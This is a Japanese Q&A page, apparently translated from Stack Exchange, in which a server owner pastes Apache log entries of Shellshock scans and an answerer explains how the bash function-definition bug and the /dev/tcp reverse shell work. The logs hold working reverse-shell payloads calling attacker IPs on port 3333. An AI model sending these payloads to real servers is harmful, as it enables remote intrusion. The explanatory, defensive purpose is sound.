web-dev-qa-db-ja.com

このShellshockスキャンはどのように機能しますか?

私のサーバーは明らかに最新であり、Shellshockエクスプロイトに対して脆弱ではありません。

ただし、次のShellshockスキャンがどのように機能するかを知りたいと思っています。

/var/log/Apache2 # cat access.log | grep bash
209.126.230.72 - - [25/Sep/2014:00:52:03 +0000] "GET / HTTP/1.0" 200 11783 "() { :; }; ping -c 11 209.126.230.74" "Shellshock-scan (http://blog.erratasec.com/2014/09/bash-Shellshock-scan-of-internet.html)"
94.23.193.131 - - [26/Sep/2014:03:04:45 +0000] "GET / HTTP/1.0" 200 11783 "-" "() { :;}; /bin/bash -c '/bin/bash -i >& /dev/tcp/62.122.246.165/2333 0>&1'"
94.23.193.131 - - [26/Sep/2014:03:20:53 +0000] "GET / HTTP/1.0" 200 11783 "-" "() { :;}; /bin/bash -c '/bin/bash -i >& /dev/tcp/202.137.176.146/3333 0>&1'"
94.23.193.131 - - [26/Sep/2014:03:23:50 +0000] "GET / HTTP/1.0" 200 11783 "-" "() { :;}; /bin/bash -c '/bin/bash -i >& /dev/tcp/202.137.176.146/3333 0>&1'"
94.23.193.131 - - [26/Sep/2014:03:28:43 +0000] "GET / HTTP/1.0" 200 11783 "-" "() { :;}; /bin/bash -c 'bash -i >& /dev/tcp/195.225.34.101/3333 0>&1'"
94.23.193.131 - - [26/Sep/2014:03:33:03 +0000] "GET / HTTP/1.0" 200 11783 "-" "() { :;}; /bin/bash -c 'bash -i >& /dev/tcp/195.225.34.101/3333 0>&1'"
94.23.193.131 - - [26/Sep/2014:03:45:16 +0000] "GET / HTTP/1.0" 200 11783 "-" "() { :;}; /bin/bash -c 'bash -i >& /dev/tcp/195.225.34.101/3333 0>&1'"
94.23.193.131 - - [26/Sep/2014:03:45:16 +0000] "GET / HTTP/1.0" 200 11783 "-" "() { :;}; /bin/bash -c 'bash -i >& /dev/tcp/195.225.34.101/3333 0>&1'"
94.23.193.131 - - [26/Sep/2014:03:48:56 +0000] "GET / HTTP/1.0" 200 11783 "-" "() { :;}; /bin/bash -c 'bash -i >& /dev/tcp/195.225.34.101/3333 0>&1'"
94.23.193.131 - - [26/Sep/2014:05:36:20 +0000] "GET / HTTP/1.0" 200 11783 "-" "() { :;}; /bin/bash -c 'bash -i >& /dev/tcp/195.225.34.101/3333 0>&1'"
94.23.193.131 - - [26/Sep/2014:05:37:30 +0000] "GET / HTTP/1.0" 200 11783 "-" "() { :;}; /bin/bash -c 'bash -i >& /dev/tcp/195.225.34.101/3333 0>&1'"
94.23.193.131 - - [26/Sep/2014:05:42:32 +0000] "GET / HTTP/1.0" 200 11783 "-" "() { :;}; /bin/bash -c 'bash -i >& /dev/tcp/195.225.34.101/3333 0>&1'"

したがって、ログ形式は次のとおりです。

LogFormat "%h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\""  

最後の2つのフィールドは、参照URLとユーザーエージェントです。

最初のスキャンは友好的で(リンクを参照)、エクスプロイトテストをユーザーエージェント文字列に配置します。どうして?

その後の一連のスキャンは明らかに悪意があり、エクスプロイトテストをリファラーに配置します。どうして?次のコマンドは何を実現しますか?

() { :;}; /bin/bash -c 'bash -i >& /dev/tcp/195.225.34.101/3333 0>&1' 

コマンドで異なるIPを使用する理由

5
augustin

_/_がcgiスクリプトによってレンダリングされる場合、そのスクリプトは_User-Agent_と呼ばれる環境変数の_HTTP_USER_AGENT_で呼び出されます。

bashは、_() {_で始まるすべての環境変数を調べて、関数定義を見つけ、その関数定義を実行します。あなたの例では、関数定義は次のようになります:HTTP_USER_AGENT() { :;}

バグのため、bashは処理を続行し、_;_はコマンドの区切り文字であり、_/bin/bash -c 'bash -i >& /dev/tcp/195.225.34.101/3333 0>&1'_は別のコマンドであり、無害な関数を定義するだけでなく、システムを攻撃者に公開しました。

_>&_はファイルを開きます。 _/dev/tcp/_は、bashがその文字列で始まる名前のファイルを開こうとすると、代わりに実際にTCPソケットを開きます。これはbash自体の機能です。別のコマンドで開くと機能しません。たとえば、_cat /dev/tcp/..._は機能しません。

_0>&1_は、入力用の出力用に以前に開かれたソケットも使用します。

_bash -i_は、bashがTCPソケットに接続されているインタラクティブなstdioシェルを開始します。おそらく_195.225.34.101_は、攻撃者によって制御されているホストのIPアドレスです。かなり可能性が高い攻撃者が同じ脆弱性を使用して侵害したサーバー。

異なるIPを使用するのは、攻撃者が制御するホストの一部がダウンした場合に備えて攻撃者が準備したいと考えているからです。

8
kasperd